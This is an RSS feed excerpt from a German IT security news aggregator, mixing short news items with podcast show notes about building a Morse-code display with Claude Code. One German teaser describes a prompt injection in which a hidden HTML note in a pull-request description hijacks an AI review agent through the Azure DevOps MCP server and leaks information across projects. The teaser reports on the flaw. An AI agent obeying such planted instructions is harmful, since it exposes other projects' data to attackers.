CVE-2026-64096, CVE-2026-64097, CVE-2026-64098, CVE-2026-64099,
CVE-2026-64100, CVE-2026-64101, CVE-2026-64102, CVE-2026-64103,
CVE-2026-64104, CVE-2026-64105, CVE-2026-64106, CVE-2026-64107,
CVE-2026-64108, CVE-2026-64109, CVE-2026-64110, CVE-2026-64111,
CVE-2026-64112, CVE-2026-64113, CVE-2026-64114, CVE-2026-64115,
CVE-2026-64116, CVE-2026-64117, CVE-2026-64118, CVE-2026-64119,
CVE-2026-64120, CVE-2026-64121, CVE-2026-64122, CVE-2026-64123,
CVE-2026-64124, CVE-2026-64125, CVE-2026-64126, CVE-2026-64127,
CVE-2026-64128, CVE-2026-64129, CVE-2026-64130, CVE-2026-64131,
CVE-2026-64132, CVE-2026-64133, CVE-2026-64134, CVE-2026-64135,
CVE-2026-64136, CVE-2026-64137, CVE-2026-64138, CVE-2026-64139,
CVE-2026-64140, CVE-2026-64141, CVE-2026-64142, CVE-2026-64143,
CVE-2026-64144, CVE-2026-64145, CVE-2026-64146, CVE-2026-64147,
CVE-2026-64148, CVE-2026-64149, CVE-2026-64150, CVE-2026-64151,
CVE-2026-64152, CVE-2026-64153, CVE-2026-64154, CVE-2026-64155,
CVE-2026-64156, CVE-2026-64157, CVE-2026-64158, CVE-2026-64159,
CVE-2026-64160, CVE-2026-64161, CVE-2026-64162, CVE-2026-64163,
CVE-2026-64164, CVE-2026-64165, CVE-2026-64166, CVE-2026-64167,
CVE-2026-64168, CVE-2026-64169, CVE-2026-64170, CVE-2026-64171,
CVE-2026-64172, CVE-2026-64173, CVE-2026-64174, CVE-2026-64175,
CVE-2026-64176, CVE-2026-64177, CVE-2026-64178, CVE-2026-64179,
CVE-2026-64180, CVE-2026-64181, CVE-2026-64182, CVE-2026-64183,
CVE-2026-64184, CVE-2026-64185, CVE-2026-64186)]]></content:encoded>
</item>
<item>
<title><![CDATA[Azure DevOps MCP: Unsichtbare PR-Kommentare kapern KI-Review-Agenten und leaken Projektinfos]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Eine einzelne HTML-Notiz in der Beschreibung eines Pull Requests kann eine KI-gestützte Review-Automation missbrauchen und damit Zugriff über Projektgrenzen hinweg verschieben. Der Angriff läuft nicht als „klassisches“ Prompt-Troubleshooting, sondern nutzt eine Lücke in der...]]></description>
<link>https://tsecurity.de/de/3688260/it-security-nachrichten/azure-devops-mcp-unsichtbare-pr-kommentare-kapern-ki-review-agenten-und-leaken-projektinfos/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688260/it-security-nachrichten/azure-devops-mcp-unsichtbare-pr-kommentare-kapern-ki-review-agenten-und-leaken-projektinfos/</guid>
<pubDate>Thu, 23 Jul 2026 09:24:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-azure-devops-mcp-hidden-pr-comment.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-azure-devops-mcp-hidden-pr-comment.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-azure-devops-mcp-hidden-pr-comment-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-azure-devops-mcp-hidden-pr-comment-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-azure-devops-mcp-hidden-pr-comment-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-azure-devops-mcp-hidden-pr-comment-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-azure-devops-mcp-hidden-pr-comment-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Eine einzelne HTML-Notiz in der Beschreibung eines Pull Requests kann eine KI-gestützte Review-Automation missbrauchen und damit Zugriff über Projektgrenzen hinweg verschieben. Der Angriff läuft nicht als „klassisches“ Prompt-Troubleshooting, sondern nutzt eine Lücke in der Werkzeugverkettung des offiziellen MCP-Servers. Besonders kritisch wird es, wenn ein Reviewer die KI mit höherer Berechtigung ausführt […]</p>
<div><a href="https://www.it-boltwise.de/azure-devops-mcp-unsichtbare-pr-kommentare-kapern-ki-review-agenten-und-leaken-projektinfos.html">... den vollständigen Artikel <strong>»Azure DevOps MCP: Unsichtbare PR-Kommentare kapern KI-Review-Agenten und leaken Projektinfos«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/azure-devops-mcp-unsichtbare-pr-kommentare-kapern-ki-review-agenten-und-leaken-projektinfos.html">Azure DevOps MCP: Unsichtbare PR-Kommentare kapern KI-Review-Agenten und leaken Projektinfos</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Workload-bezogenes Power Management mit Azure Cobalt]]></title>
<description><![CDATA[Eine Co-Design-Lösung aus Hardware und Software auf Azure Cobalt-Prozessoren ermöglicht feingranulierte Leistungsbegrenzung pro virtueller Maschine zur Steigerung der Energieeffizienz.]]></description>
<link>https://tsecurity.de/de/3688227/it-nachrichten/workload-bezogenes-power-management-mit-azure-cobalt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688227/it-nachrichten/workload-bezogenes-power-management-mit-azure-cobalt/</guid>
<pubDate>Thu, 23 Jul 2026 09:04:00 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Eine Co-Design-Lösung aus Hardware und Software auf Azure Cobalt-Prozessoren ermöglicht feingranulierte Leistungsbegrenzung pro virtueller Maschine zur Steigerung der Energieeffizienz.]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4689: Cheap Yellow Display Project Part 8: Writing the code]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.



Hello, again. This is Trey.










Welcome to part 8 in my Cheap Yellow Display (CYD) Project series.  










If you wish to catch up on earlier episodes, you can find them on my 

HPR profile page



https://www.hackerp...]]></description>
<link>https://tsecurity.de/de/3687798/podcasts/hpr4689-cheap-yellow-display-project-part-8-writing-the-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687798/podcasts/hpr4689-cheap-yellow-display-project-part-8-writing-the-code/</guid>
<pubDate>Thu, 23 Jul 2026 02:06:01 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>

Hello, again. This is Trey.

</p>

<p>


</p>

<p>

Welcome to part 8 in my Cheap Yellow Display (CYD) Project series.  

</p>

<p>


</p>

<p>

If you wish to catch up on earlier episodes, you can find them on my 
<a href="https://www.hackerpublicradio.org/correspondents/0394.html" rel="noopener noreferrer" target="_blank">
HPR profile page</a>


<a href="https://www.hackerpublicradio.org/correspondents/0394.html" rel="noopener noreferrer" target="_blank">
https://www.hackerpublicradio.org/correspondents/0394.html</a>



</p>

<p>


</p>

<p>

It is hard to believe that I started this project and the HPR series to document it more than a year ago.  Time flies.  Life happens. I spent the last 8 months so focused on work related activities that I had to set the project aside.  And once I set it aside, it was difficult to get back to again.  The one time I tried, I found that my son's old Windows laptop, which I had commandeered to use for the project, was once and truly dead.  

</p>

<p>


</p>

<p>

We live in a different world now than we did when I began this project.  Today, everything is about AI – how it is changing our world, increasing efficiencies, and even displacing certain types of jobs.  "Vibe coding" is transforming the way we make software, and now everyone is a developer.

</p>

<p>


</p>

<p>

Within my organization, we are all being strongly encouraged to learn more about AI and apply it in our daily work.  We are blessed to have access to a wide range of training and to powerful tools which support the process.  Several colleagues within my organization and outside my organization have recommended Claude Code -- for development, for organization, for brainstorming, and for much more.  My role is not that of a developer, and I have had no need for Claude Code at work.  There are plenty of other tools for me to use.

</p>

<p>


</p>

<p>

But at home, I thought... I could install Claude Code at home to experiment with and to learn.  And then it hit me.  I wonder if I could use Claude Code to help me with my stalled CYD project.  

</p>

<p>


</p>

<p>

"Hello, my name is Trey, and I am a fraud."

</p>

<p>


</p>

<p>

OK.  I don't think I am a fraud, but having never used such a powerful tool to help me code, I feel a little bit like a fraud, with Claude doing the work for me. Let's talk through what we did.

</p>

<p>


</p>

<p>

As I mentioned, I was unable to use the laptop on which I created the original GUI code.  But no worries, because It was all on GitHub, right?

</p>

<p>


</p>

<p>

So, I began by trying to install Claude Code on one of my Ubuntu machines.  That failed miserably, and all the instructions I found online recommended running it on Windows.  So I transitioned to installing Claude Code on a freshly built Windows 10 system using some old hardware which will not support Windows 11.  Surprisingly, It seems that Claude wants to run within Ubuntu on Windows Subsystem for Linux (WSL).

</p>

<p>


</p>

<p>

Once I went through all the hoops for installing and setting up my basic subscription, I got to work.  I created a new directory to use for all my project files, and another one for Claude to write all its output files to.

</p>

<p>


</p>

<p>

Everything I have read and heard about using Claude Code for a project like this recommended beginning by using Claude to create the project plan.  So my first prompt was as follows:

</p>

<p>


</p>

<p>

"I am building a project using an ESP32 cheap yellow display. The final goal is to have a device with a graphical user interface which will allow me store several text messages, each assigned to their own specific button. Then, when one of the buttons is pressed, the message will be converted into morse code, and the message will be sent by blinking an onboard LED. I already have the initial design for the GUI coded in my github repository. Please construct a detailed step by step plan for building this application"

</p>

<p>


</p>

<p>

I wanted to keep it simple at the beginning, so even though I plan to use an opto-isolated relay for the output, I am starting out using the built in LED.

</p>

<p>


</p>

<p>

Claude asked me for the URL for my Github repository, and I provided it.  After thinking for a bit, it produced a project plan.

</p>

<p>


</p>

<p>

CYD Morse Sender — Step-by-Step Build Plan

</p>

<p>


</p>

<p>

What You Already Have

</p>

<p>

- 3 fully designed LVGL screens (Send, Config, Keyboard)

</p>

<p>

- 7 send buttons with green styling on the Send Screen

</p>

<p>

- Speed slider (5–30 WPM) and program slot dropdown on Config Screen

</p>

<p>

- Text area + LVGL keyboard widget on Keyboard Screen

</p>

<p>

- Display driver and touchscreen hardware initialized (but touch read was stubbed out)

</p>

<p>

---

</p>

<p>

Phase 1: Fix Touchscreen Input

</p>

<p>

Initialize the XPT2046 on VSPI, replace the hardcoded touched = false with real touch data, calibrate raw ADC coordinates to screen pixels, and verify all three nav buttons transition screens correctly.                         

</p>

<p>


</p>

<p>

Phase 2: Persistent Message Storage

</p>

<p>

Use Preferences.h / NVS to store 7 messages ("msg0" – "msg6") that survive power cycles. Load on boot and populate send button labels.

</p>

<p>


</p>

<p>

Phase 3: Config Screen — Slot Selection &amp; Speed

</p>

<p>

Wire the Program dropdown to g_selectedSlot, wire the Speed slider to g_wpm with a live WPM label, and wire the Set button to clear the text area and navigate to the Keyboard Screen.

</p>

<p>


</p>

<p>

Phase 4: Keyboard Screen — Capture and Save Text

</p>

<p>

On keyboard OK (LV_EVENT_READY): read the text area, save to NVS, update the send button label, navigate back. On Cancel: navigate back without saving.

</p>

<p>


</p>

<p>

Phase 5: Morse Code Engine

</p>

<p>

Build morse.h with the full A–Z / 0–9 lookup table, a textToMorse() converter, and Paris-standard timing (unit_ms = 1200 / wpm).

</p>

<p>


</p>

<p>

Phase 6: Non-Blocking LED Transmission

</p>

<p>

State machine (IDLE / LED_ON / LED_OFF) driven by millis() in a morseUpdate() function called every loop — no delay().   LED on GPIO 17 (blue).

</p>

<p>


</p>

<p>

Phase 7: Wire the Send Buttons

</p>

<p>

Each button calls startMorse(getMessage(slot)) if not already transmitting. Disable all send buttons during TX; re-enable when the state machine reaches the end.

</p>

<p>


</p>

<p>

Phase 8: Integration &amp; Polish

</p>

<p>

Stop button, WPM persistence, empty-slot guard, serial debug output, final touch calibration, end-to-end test checklist.

</p>

<p>

---

</p>

<p>

Recommended order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8

</p>

<p>


</p>

<p>


</p>

<p>

This was wild!  Claude determined exactly how far along I was in the project, and also alerted me to the fact that the "touch read was stubbed out".  Ugh.  This means that the files I had uploaded to GitHub were my original GUI files (Episode 05 – HPR4532 - 
<a href="https://hackerpublicradio.org/eps/hpr4532/index.html" rel="noopener noreferrer" target="_blank">
https://hackerpublicradio.org/eps/hpr4532/index.html</a>

) and not the ones that I finally got working properly (Episode 07 – HPR4624 - 
<a href="https://hackerpublicradio.org/eps/hpr4624/index.html" rel="noopener noreferrer" target="_blank">
https://hackerpublicradio.org/eps/hpr4624/index.html</a>

).  That was my own fault.  Did I mention that I don't get Git?  I REALLY need to learn to properly use Git!

</p>

<p>


</p>

<p>

But, we have a plan, broken down by eight numbered phases.  And they seem to address all the functionality I wanted with a few additional things I had not thought about.  Interestingly, even though these phases are sequentially numbered, Claud recommended that we approach them in a bizarre order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8 .

</p>

<p>


</p>

<p>

Alright.  Let's see what we can do.  The first phase is to fix the touchscreen input.  

</p>

<p>


</p>

<p>

Claude took me through it step-by-step, asking as it needed to read specific project files.

</p>

<p>


</p>

<p>

Finally, it wrote a new ui.ino code file to my speficied output directory for me to test.  I copied it into the correct file location, said a quick prayer, compiled in Arduino IDE, and downloaded to the CYD.

</p>

<p>


</p>

<p>

Well, that is... interesting.  The display looked nothing like it was supposed to.  There were vertical green bars with smaller dashed green vertical stripes in them. I will include a picture in the show notes so that you can see what it looked like and why it was so difficult to describe.  

</p>

<p>


</p>

<p>

<a href="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_1.jpeg">
<img src="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_1_tn.jpeg">
</a>

</p>

<p>


</p>

<p>

I spent the next hour or so trying to explain what I was seeing to a chat bot.  Claude recommended potential fixes which either did nothing or made the situation worse.  I began questioning whether this was a good idea, how people actually gained efficiencies talking to a bot, and even several life choices.  

</p>

<p>


</p>

<p>

Then I had a thought.  I prompted Claude:

</p>

<p>


</p>

<p>

If I were to take a picture of the screen on the cheap yellow display and copy it into the output folder, would you be able to analyze it to better determine what is wrong and how to fix it?

</p>

<p>


</p>

<p>

Shockingly, Claude answered in the affirmative, and told me to copy the picture to the output folder and let it know when to proceed.  It analyzed the picture and more of the supporting files it had copied from my GitHub, asking each time if it could access that file.  It determined that my original code was written for a flavor of LVGL version 8 and I was now using LVGL 9.5.  

</p>

<p>


</p>

<p>

It recommended changes, and then asked permission to make those changes, file by file.  .h files &amp; .c files,  Finally, I just gave it permission to edit the files in the project folder without asking for permission for each file each time.  Claude was still explaining each change, showing me exactly what would be changed, and asking for permission, so that I could review all of the changes.  But now it was not asking additional permission to write to each of the impacted files.

</p>

<p>


</p>

<p>

Next, Code compiled and downloaded.  Different screen, but not right. Again, I took a picture and gave it to Claude to analyze.  So, Claude paused and altered the code to generate a specific test pattern overtop of the GUI.

</p>

<p>


</p>

<p>

</p>

<p>

<a href="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_2.jpeg">
<img src="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_2_tn.jpeg">
</a>

</p>

<p>


</p>

<p>

The test pattern was supposed to cover the entire rectangular screen.  But parts of the pattern were in a square on the screen and parts were not.  Another photograph and analysis, told Claude that there were some rotation/screensize issues.

</p>

<p>


</p>

<p>

We repeated this several times.  Some resulted in improvement, and others did not.

</p>

<p>


</p>

<p>

This is the point where I noticed something interesting. Not about Claude, specifically, or about the app.  But I noticed something interesting about myself and about the process.

</p>

<p>


</p>

<p>

Previously, when I was working through some of these challenges without Claud, I found myself becoming more and more stressed, frustrated, and angry, until I found a solution.  Then another problem would repeat the cycle.  Success in the end was great, but the emotional extremes during the process were not always pleasant.  

</p>

<p>


</p>

<p>

Now, I was effectively managing the project, and relaying information to the resource responsible for fixing the problems -- a very different experience.

</p>

<p>


</p>

<p>

But I also ran into another issue.  Claude became absolutely certain that the problem revolved around the device not accurately knowing where the 4 corners of the screen were.  But in reality, the output of the test pattern was rotated 90 degrees from the actual screen.  It took several iterations of me insisting that the problem had to do with screen orientation and not corner coordinates.  It was interesting to experience the tool doubling down on an obvious mistake, but we finally resolved that.

</p>

<p>


</p>

<p>

Again, while it was frustrating, it was much less stressful.

</p>

<p>


</p>

<p>


</p>

<p>

We proceeded to 
<strong>

<em>
Phase 2: Persistent Message Storage</em>

</strong>

where we ensured that the button labels on the send screen were stored in the devices persistent storage, so that, when they are edited to contain the message they should send, that information would survive a reboot.

</p>

<p>


</p>

<p>

Next, we combined elements of 
<strong>

<em>
Phase 5: Morse Code Engine</em>

</strong>

, 
<strong>

<em>
Phase 6: Non-Blocking LED Transmission</em>

</strong>

, and 
<strong>

<em>
Phase 7: Wire the Send Buttons</em>

</strong>

together. Building the morse code engine was an area I had been thinking about for a while.  I already had working parts of something similar in the Arduino practice oscillator I have referenced a few times in this series.  The code for the practice oscillator may be found on my GitHub, but it was all based on original code from jmharvey1, with my only contribution being making pin assignments variables so that the code could easily be ported to different devices.  

</p>

<p>


</p>

<p>

So, I was happy that we were building the morse code engine directly.  The code for it may be found in morse.h, which uses a constant character lookup table to define each character.  Without any specific direction from me, Claude used the PARIS timing methods I have already described within Episode 6 of this series.  It defines timing for DOT, DASH, LETTER_GAP, and WORD_GAP, and all are based on a simple calculation of 1200 ms / the number of words per minute (WPM) we wish to transmit.

</p>

<p>


</p>

<p>

Along the way, we discovered that, if we tried to use the delay() function, it would crash the program due to a conflict with the LVGL timer used for touchscreen inputs. Claude altered all the delays accordingly.

</p>

<p>


</p>

<p>

Then, 
<strong>

<em>
Phase 3: Config Screen — Slot Selection &amp; Speed</em>

</strong>

allowed us to configure the WPM we wished to use in addition to selecting a specific Send button to reconfigure.  This forced us to work on 
<strong>

<em>
Phase 4: Keyboard Screen — Capture and Save Text</em>

</strong>

which is used to type the entries for each Send button.  At this point, I also decided that we would want to also use the Keyboard Screen to send ad hoc morse as we typed it.

</p>

<p>


</p>

<p>

During this phase we discovered several bugs which seemed to cause random freezes.  Careful troubleshooting with messages output to the Arduino IDE's serial console helped us narrow down the causes and remedy them.

</p>

<p>


</p>

<p>

Finally all the tests worked and I am able to merrily pre-configure macro buttons with custom messages and use the CYD to send the morse code for those messages to the on-board LED at whichever rate I specify.

</p>

<p>


</p>

<p>

I have noticed in my presentation of this narrative that I repeatedly slip into the first person plural terms "we" and "us" instead of the first person singular terms "I" and "me".  I have unconsciously personified Claud and recognized it as an integral part of my (formerly one person) development team.

</p>

<p>


</p>

<p>

I finally configured Claude to connect to my GitHub repo and upload all the files and documentation. We additionally created a CYD-Narrative.md file which describes in more detail all the work which was done on the project.  I still do not 100% get git, but we are successfully using it.

</p>

<p>


</p>

<p>

You can find all these files in my GitHub repo (
<a href="https://github.com/jttrey3/CYD_MorseSender" rel="noopener noreferrer" target="_blank">
https://github.com/jttrey3/CYD_MorseSender</a>

) where they are shared under a GPL 3.0 license.

</p>

<p>


</p>

<p>

There are still several additional steps I plan to complete in the next few months.  

</p>

<p>


</p>

<p>

1. I will be integrating an opto-isolated relay which will allow me to plug the device into the straight key input on any amateur radio.  This will require a battery power source, charge controller, and more hardware.

</p>

<ol>

<li>

I... make that "We" (Claude &amp; I)  will be modifying the code to support an audio side tone through an attached speaker when sending code

</li>

<li>

We will add an output selection switch to the config page to choose any combination of speaker, relay, or LED as output.

</li>

<li>

We will develop a downloadable firmware which I hope to share with the Cheap Yellow Display community.

</li>

</ol>

<p>


</p>

<p>

If you can think of any additional features you would like to see integrated, please drop me an email using the address in my HPR profile.

</p>

<p>


</p>

<p>

I may also work with a friend to attempt to 3d print a case for the entire contraption, and I will be sure to record additional episodes sharing the process.

</p>

<p>


</p>

<p>

I have learned so much throughout this project, about the CYD, ESP32, GUIs, Claude Code, GitHub, and most of all, about myself.  

</p>

<p>


</p>

<p>

Does using AI to develop this code make me a fraud? It still feels like it in some ways.  

</p>

<p>


</p>

<p>

Does it make me more productive?  ABSOLUTELY!  I made consistent forward progress when I only had 30-60 minutes each day to work on it, and everything discussed in this episode was completed in less than a week.  If I had been able to work on it for a few hours uninterrupted, it may have only taken me 3-5 hours.

</p>

<p>


</p>

<p>

Does it empower and inspire me to do more projects like this?  100%  I feel like I had support working with me the whole way.  I was less stressed overall, and it had less of an impact on the amount of and quality of time I spent with my family.

</p>

<p>


</p>

<p>

I will be wrapping up this series soon, without any more 6 month gaps, I hope.

</p>

<p>


</p>

<p>

Until next time...

</p>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4689/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Server-Prozessor: Nvidia gibt Einblick in Architektur der Vera-CPU - Golem.de]]></title>
<description><![CDATA[... Microsoft Entra ID (Azure Active Directory): virtueller Ein-Tages-Workshop · zum Kurs. Exklusiv: Masterclass Microsoft Intune - Verwaltung von Windows ...]]></description>
<link>https://tsecurity.de/de/3687685/windows-server/server-prozessor-nvidia-gibt-einblick-in-architektur-der-vera-cpu-golemde/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687685/windows-server/server-prozessor-nvidia-gibt-einblick-in-architektur-der-vera-cpu-golemde/</guid>
<pubDate>Thu, 23 Jul 2026 00:07:49 +0200</pubDate>
<category>🪟 Windows Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[... Microsoft Entra ID (Azure Active Directory): virtueller Ein-Tages-Workshop · zum Kurs. Exklusiv: Masterclass Microsoft Intune - Verwaltung von <b>Windows</b> ...]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft Bets Billions on Mistral’s European AI Infrastructure]]></title>
<description><![CDATA[Microsoft to spend billions on Mistral’s European AI infrastructure and bring the startup’s latest models to Foundry, Copilot Studio, and Azure Local.]]></description>
<link>https://tsecurity.de/de/3687470/it-nachrichten/microsoft-bets-billions-on-mistrals-european-ai-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687470/it-nachrichten/microsoft-bets-billions-on-mistrals-european-ai-infrastructure/</guid>
<pubDate>Wed, 22 Jul 2026 21:49:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Microsoft to spend billions on Mistral’s European AI infrastructure and bring the startup’s latest models to Foundry, Copilot Studio, and Azure Local.]]></content:encoded>
</item>
<item>
<title><![CDATA[Google Drops Pixel Watch 4 LTE to WiFi Price and Gives 2 Years Free Service]]></title>
<description><![CDATA[Buying a Pixel Watch 4 at this stage, knowing that the Pixel Watch 5 should be here within a month, might sound somewhat risky. What if the Pixel Watch 5 brings massive upgrades over the current model and makes you look foolish? The chances of that happening are slim, at least according to everyt...]]></description>
<link>https://tsecurity.de/de/3687391/it-nachrichten/google-drops-pixel-watch-4-lte-to-wifi-price-and-gives-2-years-free-service/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687391/it-nachrichten/google-drops-pixel-watch-4-lte-to-wifi-price-and-gives-2-years-free-service/</guid>
<pubDate>Wed, 22 Jul 2026 21:03:12 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Buying a Pixel Watch 4 at this stage, knowing that the Pixel Watch 5 should be here within a month, might sound somewhat risky. What if the Pixel Watch 5 brings massive upgrades over the current model and makes you look foolish? The chances of that happening are slim, at least according to everything we...</p>
<p>Read the original post: <a href="https://www.droid-life.com/2026/07/21/google-drops-pixel-watch-4-lte-to-wifi-price/">Google Drops Pixel Watch 4 LTE to WiFi Price and Gives 2 Years Free Service</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The engineering bottleneck has changed. Is your org prepared?]]></title>
<description><![CDATA[AI agents can turn a clear description into working software, the engineer’s judgement is what makes the difference: deciding what to build, catching the tradeoff the agent didn’t know to weigh, and owning the call on whether the result is right.



That judgement has always been the hard part of...]]></description>
<link>https://tsecurity.de/de/3687009/it-security-nachrichten/the-engineering-bottleneck-has-changed-is-your-org-prepared/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687009/it-security-nachrichten/the-engineering-bottleneck-has-changed-is-your-org-prepared/</guid>
<pubDate>Wed, 22 Jul 2026 18:28:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">AI agents can turn a clear description into working software, the engineer’s judgement is what makes the difference: deciding what to build, catching the tradeoff the agent didn’t know to weigh, and owning the call on whether the result is right.</p>



<p class="wp-block-paragraph">That judgement has always been the hard part of engineering. It just used to be bundled into the act of writing code, where a skilled engineer did it while typing. As agents take on more of the typing, that judgement separates out and becomes the clear center of the role. Leaders who adapt early will get their metrics, their talent pipelines, and their delivery models working with this shift rather than against it.</p>



<h3 class="wp-block-heading">Judgement is defining, constraining, and deciding</h3>



<p class="wp-block-paragraph">Judgement is all about defining the problem precisely enough that an agent builds the right thing. It’s setting the constraints the agent won’t infer on its own. It’s spotting the tradeoff buried three layers down that only shows up if you understand the system. And it’s looking at a finished implementation and knowing whether it’s genuinely good enough to ship.</p>



<p class="wp-block-paragraph">This is the harder part of the job and the real driver of quality. It was easy to underrate when it lived inside day-to-day coding. Now it’s what separates a strong team from an average one.</p>



<h3 class="wp-block-heading">The shift changes where time, growth, and metrics go</h3>



<p class="wp-block-paragraph">If the high-value activity is intent, review, and judgement rather than raw output, a few assumptions are worth revisiting.</p>



<p class="wp-block-paragraph"><strong>Where engineers spend their time.</strong> Less of the day goes to producing boilerplate and mechanical implementation, and more goes to the reasoning that used to get squeezed to the edges: framing the problem and owning the judgement calls that determine quality.</p>



<p class="wp-block-paragraph"><strong>How teams grow their people.</strong> Defining problems well, spotting risk, and critically evaluating work you didn’t write yourself have always been senior skills. When agents handle more of the mechanical work, those skills become learnable earlier. That puts the emphasis on leaders to teach the reasoning: why a choice gets made and how to weigh the tradeoffs that come with it.</p>



<p class="wp-block-paragraph"><strong>What you measure.</strong> Lines shipped, tickets closed, and velocity charts all measured throughput of the old scarce resource. They say very little about the new one. The teams that adapt will start measuring the quality of intent going in and the reliability of judgement coming out, because that’s where the results now live.</p>



<h3 class="wp-block-heading">Reinvest the time you get back</h3>



<p class="wp-block-paragraph">The tempting response is to treat the freed-up capacity as pure speed: same work, same tooling, just faster. That captures the easy win and misses the real one. If engineers spend their reclaimed time reviewing a rising volume of agent output with no better context than before, review quietly becomes the new constraint, and you’ve moved the problem rather than solved it.</p>



<p class="wp-block-paragraph">The organizations that get ahead will invest the reclaimed capacity into the judgement layer: creating stronger specs and acceptance criteria before work starts, building review practices that test agent output against intent, and capturing the reasoning behind decisions where the next person can find it, so it doesn’t have to be reconstructed every time. That’s how the shift becomes an advantage for your team.</p>



<h3 class="wp-block-heading">The through-line for leaders</h3>



<p class="wp-block-paragraph">The engineering job is moving up a level, from executing the work to directing and validating it. That’s a more strategic role, and it rewards clarity of thought over speed of output. Leaders who see the shift early can help their engineers grow into the work that’s now most valuable.</p>



<p class="wp-block-paragraph">See how leading engineering organizations are operationalizing this shift at <a href="https://www.atlassian.com/software/jira/dev?utm_source=foundry&amp;utm_medium=paid-social&amp;utm_campaign=P:jira%7CO:ppm%7CV:foundry%7CG:us%7CL:en%7CF:aware%7CT:prospecting%7CI:imc-jira-ai-sdlc%7CA:display%7CD:alld&amp;utm_content=P:jira%7CO:ppm%7CV:foundry%7CG:us%7CL:en%7CF:aware%7CT:prospecting%7CI:imc-jira-ai-sdlc%7CA:display%7CD:alld%7CU:cio-2" target="_blank" rel="noreferrer noopener">jira.dev.</a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft commits $60M to ‘Genesis Mission’ to help power Dept. of Energy’s AI-for-science push]]></title>
<description><![CDATA[The commitment includes Azure compute credits and a new internal program office, called SPARK, to coordinate the company's work with DOE's 17 national laboratories. Read More]]></description>
<link>https://tsecurity.de/de/3686928/it-nachrichten/microsoft-commits-60m-to-genesis-mission-to-help-power-dept-of-energys-ai-for-science-push/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686928/it-nachrichten/microsoft-commits-60m-to-genesis-mission-to-help-power-dept-of-energys-ai-for-science-push/</guid>
<pubDate>Wed, 22 Jul 2026 17:49:57 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img fetchpriority="high" loading="eager" width="1260" height="819" src="https://cdn.geekwire.com/wp-content/uploads/2025/05/microsoft-logo-build-1-1260x819.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" decoding="async" srcset="https://cdn.geekwire.com/wp-content/uploads/2025/05/microsoft-logo-build-1-1260x819.jpg 1260w, https://cdn.geekwire.com/wp-content/uploads/2025/05/microsoft-logo-build-1-768x499.jpg 768w, https://cdn.geekwire.com/wp-content/uploads/2025/05/microsoft-logo-build-1-1536x998.jpg 1536w, https://cdn.geekwire.com/wp-content/uploads/2025/05/microsoft-logo-build-1-2048x1331.jpg 2048w, https://cdn.geekwire.com/wp-content/uploads/2025/05/microsoft-logo-build-1-630x409.jpg 630w" sizes="(max-width: 1260px) 100vw, 1260px"><br>The commitment includes Azure compute credits and a new internal program office, called SPARK, to coordinate the company's work with DOE's 17 national laboratories. <a href="https://www.geekwire.com/2026/microsoft-commits-60m-to-genesis-mission-to-help-power-dept-of-energys-ai-for-science-push/">Read More</a>]]></content:encoded>
</item>
<item>
